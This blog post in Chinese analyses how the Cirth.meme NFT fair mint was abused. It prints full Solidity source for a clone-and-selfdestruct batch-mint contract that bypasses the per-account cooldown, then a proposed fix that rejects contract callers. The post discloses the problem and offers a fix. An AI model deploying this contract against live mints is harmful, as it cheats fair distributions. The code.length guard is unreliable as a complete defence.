关于使用合约批量铸造的原因分析与解决方案
2024-01-25 08:35
jackygu.eth
2024-01-25 08:35
订阅此专栏
收藏此文章

Cirth.meme上线 4 天,各方面表现良好。但铸造代码中,发现存在使用合约来批量铸造的可能,这严重影响了公平铸造。

类似的交易记录见:https://etherscan.io/tx/0xa58e8039740892f59b25ec0e14ce63d3d5c62eba0b16cdcd61c65553d5c67874。

原因

社区提交上述交易后,经技术团队研究,复现了其操作,大概的方式为:写两个智能合约,一个为主控制合约,一个为铸造合约,在主控制合约中创建多个铸造合约,通过铸造合约伪造正常用户,去调用Cirth合约的mint方法。

下面是实现类似功能的智能合约源码:

// SPDX-License-Identifier: MITpragma solidity ^0.8.18;import "@openzeppelin/contracts/proxy/Clones.sol";import "@openzeppelin/contracts/access/Ownable.sol";interface IFERC721C {	function mint(address to) external;}interface ICallMint {	function mint() external;	function destroy() external;}contract BatchMint is Ownable {	address public immutable tokenImplementation;	event Deploy(address);	constructor(address _ferc721) {		tokenImplementation = address(new CallMint(msg.sender, _ferc721));	}	function deployAndMint(uint times) public onlyOwner() {		for(uint i; i < times; i++) {			address tokenAddress = Clones.clone(tokenImplementation);			ICallMint(tokenAddress).mint();			ICallMint(tokenAddress).destroy();			emit Deploy(tokenAddress);		}	}}contract CallMint {	address public immutable ferc721;	address public immutable receiver;	constructor(address _receiver, address _ferc721) {		ferc721 = _ferc721;		receiver = _receiver;	}	function mint() public {		IFERC721C(ferc721).mint(receiver);	}	function destroy() public {		selfdestruct(payable(receiver));	}}

解释:

  • BatchMint:主控制合约 批量铸造合约,该合约在构建时,创造一个CallMint合约的模版,在批量铸造方法deployAndMint中,通过Clone方法生成多个调用合约(即 B 合约)

  • CallMint:铸造合约 单次铸造后,立即销毁自己,在链上不留痕迹。铸造时,由合约调用人接收 NFT。

  • 该方法经测试,单个 NFT 铸造的 Gas 费比正常铸造高 30%。

  • 如果在切换调用合约时,同时转 Ferc,可以实现只要拥有 10 个 Ferc,就能给 N 个铸造合约使用。

  • 该方法不需要手动在钱包中开多个账户,并且可以绕开冷冻时间。

解决方案

在铸造方法中增加一个对调用账户的限制,即仅允许 EOA 账户调用,拒绝合约账户调用(包括 AA 账户),如下:

function mint(address _to) public payable {    require(_tokenData.totalSupply < _tokenData.max / _tokenData.limit, "touch the max batch");    require(_to != address(0), "mint to zero address");    require(msg.sender.code.length == 0 && _to.code.length == 0, "contract account not support"); // 增加该行    ...}

以上更新将在下一版中实施,但这个解决方案的缺陷在于,将无法支持 AA 账户。

【免责声明】市场有风险,投资需谨慎。本文不构成投资建议,用户应考虑本文中的任何意见、观点或结论是否符合其特定状况。据此投资,责任自负。

在 App 打开